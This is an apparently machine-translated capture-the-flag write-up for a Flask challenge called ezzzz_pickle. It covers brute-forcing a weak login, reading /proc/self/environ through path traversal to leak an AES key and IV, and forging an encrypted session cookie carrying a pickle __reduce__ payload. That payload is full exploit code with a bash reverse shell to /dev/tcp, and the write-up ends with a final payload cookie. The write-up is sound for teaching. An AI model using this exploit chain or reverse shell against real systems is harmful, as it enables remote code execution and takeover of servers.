A total of 8920 characters, expected to take 23 minutes to complete reading.
Title
The title is ezzzz_pickle, affirmations and pickle Modules are related.
This is the source code that broke out after solving the problem:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {"admin": "admin123",}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
return session
def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/",methods=['GET','POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.form.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)
Ideas
Just entering this topic requires us to enter a user name and password:
Guess should be a weak password, directly use WebCrack Blasting:
git clone https://github.com/yzddmr6/WebCrack
cd WebCrack
pip install -r requirements.txt
python3 webcrack.py
Get username and password respectively admin
andadmin123
. Continue Login:
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hello Page</title>
</head>
<body>
<h1>Hello, admin!</h1>
<!-- hint:session_pickle -->
<h1></h1>
<form method="POST" action="/">
<input type="hidden" name="filename" value="fake_flag.txt">
<button type="submit" class="btn btn-login"> 读取 flag</button>
</form>
</body>
</html>
Note that<!-- hint:session_pickle -->
, prompting us to use pickle deserialization injection session. Take a closer look <input type="hidden" name="filename" value="fake_flag.txt">
There seems to be a file reading vulnerability.
Will value="fake_flag.txt"
Changed value="/proc/self/environ"
You can return the environment variables of the current program:
PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=38442838d9fb435bPYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/
According PWD=/app
It is known that the program reads in this directory. /app/app.py
You can get the source code:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {"admin": "admin123",}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
return session
def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/",methods=['GET','POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.form.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)
Section Line 76 will appear pickle The deserialization vulnerability of, but here the program first decrypts (first AES Decryption(Line 72) again BASE64 decryption(Line 73)). Therefore, we need to use the environment variable just now.SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
andSECRET_iv=asdwdggiouewhgpw
, serialize first:
class User:
def __init__(self):
self.username = "admin"
self.expires = 1941144899
def __reduce__(self):
return eval, ("__import__('os').system('sleep 3')",)
data = User()
print(pickle.dumps(data))
The print is pickle Will User The raw data after serialization of the class. On deserialization,pickle will be executed automatically reduce The method inside will cause a loophole in the execution of arbitrary commands. This loophole is very dangerous! Then we can encrypt the data according to the procedure just now, and we can get dangerous session:
import base64
import pickle
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
if __name__ == "__main__":
def generate_key_iv():
key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
iv = "asdwdggiouewhgpw".encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode="encrypt"):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == "encrypt":
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == "decrypt":
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = (decryptor.update(encrypted_data_bytes) + decryptor.finalize())
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
class User:
def __init__(self):
self.username = "admin"
self.expires = 1941144899
def __reduce__(self):
# 任意命令执行
return eval, ("__import__('os').system(\"bash -c 'exec bash -i >& /dev/tcp/ 你的 IP/ 你的端口 0>&1 2>&1'\")",
)
data = User()
# 序列化数据
pickled_data = pickle.dumps(data)
# BASE64 加密
pickled_data = base64.b64encode(pickled_data).decode("utf-8")
# 根据源程序的 AES 加密
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")
# 结果
print(session)
Place the resulting results in the browser's Cookie Inside, refresh the page:
I rebounded directly here bash Give my host, get control:
Final Payload
jn4MYzY+mUVADRPVP3QhdKEwsCduzFuRhsCVSMgVpa6kjJo9HlI+/MmfCPM6vLgn6aUgm0saMuRsTnCGStWKWYsdkTCHvu4cIwvJW8PwfY3ajE1KxmtkTUQkH0DywE73zKilTzL93ueiyLRNwAJcyQrlffpl/q0fH99r7/Z8JsODdpsGPh8ue9xW0k+h8cxgSIqleTvAvRjv7uE+VY2g2g==